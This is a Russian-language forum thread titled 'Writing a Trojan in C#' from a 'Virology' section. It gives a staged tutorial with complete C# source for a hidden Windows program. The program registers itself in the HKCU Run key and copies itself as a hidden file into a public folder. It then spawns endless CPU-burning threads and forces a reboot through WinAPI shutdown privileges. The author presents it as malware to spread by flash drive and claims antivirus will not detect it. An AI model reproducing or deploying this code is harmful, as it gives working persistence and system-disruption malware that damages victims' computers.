Загрузка...

Writing a Trojan in C#

Thread in Virology created by Happy Jul 3, 2018. (bumped Nov 12, 2017) 2208 views

  1. Happy
    Happy Topic starter Jul 3, 2018 Держу курс на заебись 539 Apr 23, 2017
    Разработка:

    Этап 1.

    Создаем в Visual Studio проект Windows Forms Application, даем ему название, да любое в принципе название, например «system». В настройках проекта выбираем target framework 2.0. Сохраняем, и удаляем из файлов проекта using «Linq».

    Чтобы сделать программу невидимой для пользователя нажимаем на форму в конструктере и изменяем следующие свойства:



    — FormBorderStyle — None

    — Opacity — 0%

    — ShowIcon — False

    — ShowInTaskbar — False



    На этом первый этап можно считать завершенным, мы создали приложение которое будет работать на всех современных системах совершенно невидимо для пользователя. Можно проверить скомпилировав программу и запустив ее.



    Этап 2.

    На этом этапе я покажу некоторый код который понадобится. Что первым делом выполняют вирусы? Правильно - лезут в автозагрузку. Для этого добавим в проект класс с названием «autorun», и обьявим метод «SetAutorunValue»



    Код:

    public static bool SetAutorunValue(bool autorun, string npath)
    {
    const string name = "systems";
    string ExePath = npath;
    RegistryKey reg;

    reg = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run\\");
    try
    {
    if (autorun)
    reg.SetValue(name, ExePath);
    else
    reg.DeleteValue(name);
    reg.Flush();
    reg.Close();
    }
    catch
    {
    return false;
    }
    return true;
    }



    Так как наше вредоносное ПО будет запускаться на Windows, добавим в проект класс размещенный. Это нужно для того чтоб программа могла определять систему в которой запущена, и копироваться в общую папку.



    Далее приведен код добавляющий в автозагрузку наше приложение:

    Код:

    public static string needPatch = "C:\\Users\\Public\\";
    public Form1()
    {
    if (OSVersionInfo.Name == "Windows 10" || OSVersionInfo.Name == "Windows 8")
    {
    autorun.SetAutorunValue(true, needPatch + "system.exe"); // добавить в автозагрузку
    //SetAutorunValue(false, needPatch + "system.exe"); // убрать из автозагрузки
    }
    else
    if (OSVersionInfo.Name == "Windows 7")
    {
    needPatch = "C:\\Documents and Settings\\All Users\\";
    autorun.SetAutorunValue(true, needPatch + "system.exe"); // добавить в автозагрузку
    //SetAutorunValue(false, needPatch + "system.exe"); // убрать из автозагрузки
    }
    InitializeComponent();
    }



    Теперь научим будущий вирус копироваться на компьютер в общую папку. Впишем код в событие Form1_Load:

    Код:

    if (!File.Exists(needPatch + "system.exe"))
    {
    try
    {
    File.Copy("system.exe", needPatch + "system.exe");
    File.SetAttributes(needPatch + "system.exe", FileAttributes.Hidden);

    }
    catch { }
    }



    Программа самоскопировалась, и сделала себя скрытой.

    На этом можно завершить этап 2. Мы создали программу, которая невидима для пользователя, самокопируется на компьютер и прописывается в автозагрузку. Далее осталось наполнить программу функционалом.



    Этап 3.

    Пусть наш будущий вирус будет вызывать торможение системы и перезагрузку. Торможение системы реализуем следующим путем: бесконечно создаваемые потоки с бесконечным вычислением степени 2.

    Добавим следующий код в Form1.cs



    Код:

    public static void sys_sleep()
    {
    while (true)
    {
    Thread s = new Thread(s_b);
    s.Start();
    }
    }
    private static void s_b()
    {
    int y = 2;
    while (true)
    {
    y *= y;
    }
    }



    С перезагрузкой посложнее, прибегнем к помощи WINAPI, допишем следующее:

    Код:

    [StructLayout(LayoutKind.Sequential, Pack = 1)]
    internal struct TokPriv1Luid
    {
    public int Count;
    public long Luid;
    public int Attr;
    }
    [DllImport("kernel32.dll", ExactSpelling = true)]
    internal static extern IntPtr GetCurrentProcess();
    [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]
    internal static extern bool OpenProcessToken(IntPtr h, int acc, ref IntPtr phtok);
    [DllImport("advapi32.dll", SetLastError = true)]
    internal static extern bool LookupPrivilegeValue(string host, string name, ref long pluid);
    [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]
    internal static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall,
    ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen);
    [DllImport("user32.dll", ExactSpelling = true, SetLastError = true)]
    internal static extern bool ExitWindowsEx(int flg, int rea);
    internal const int EWX_REBOOT = 0x00000002;
    internal const string SE_SHUTDOWN_NAME = "SeShutdownPrivilege";
    internal const int SE_PRIVILEGE_ENABLED = 0x00000002;
    internal const int TOKEN_QUERY = 0x00000008;
    internal const int TOKEN_ADJUST_PRIVILEGES = 0x00000020;

    public static Thread thread1;
    public static void DoExitWin(int flg)
    {
    bool ok;
    TokPriv1Luid tp;
    IntPtr hproc = GetCurrentProcess();
    IntPtr htok = IntPtr.Zero;
    ok = OpenProcessToken(hproc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, ref htok);
    tp.Count = 1;
    tp.Luid = 0;
    tp.Attr = SE_PRIVILEGE_ENABLED;
    ok = LookupPrivilegeValue(null, SE_SHUTDOWN_NAME, ref tp.Luid);
    ok = AdjustTokenPrivileges(htok, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero);
    ok = ExitWindowsEx(flg, 0);
    }



    Теперь опишем метод, который по таймеру будет вызывать эффекты работы нашей программы:

    Код:

    public static void start()
    {
    Stopwatch sw = new Stopwatch();
    sw.Start();
    bool b = true;
    bool pl = false;
    while (b)
    {
    if (sw.ElapsedMilliseconds > 20000)
    {
    if (!pl)
    {
    Thread g = new Thread(sys_sleep);
    g.Start();
    pl = true;
    }
    }
    if (sw.ElapsedMilliseconds > 45000)
    {
    DoExitWin(EWX_REBOOT);
    b = false;
    }
    }
    }



    Метод Start() будем вызывать в Form1_Load. Эта программа будет тормозить систему через 20 секунд, и перезагружаться на 45-й секунде работы.



    Можно смело компилировать набранный код, скидывать полученную exe-шку на флешку и проверять созданный Вами вирус.

    При запуске с флешки, программа самоскопируется, начнет тормозить систему и перезагрузит ее, после перезагрузки системы программа запустится через автозагрузку и продолжит свою работу. Антивирусы будут молчать, скромно наблюдая за беспорядками, которые выдает Ваша программа, ведь придраться то им не к чему.
     
Loading...
Top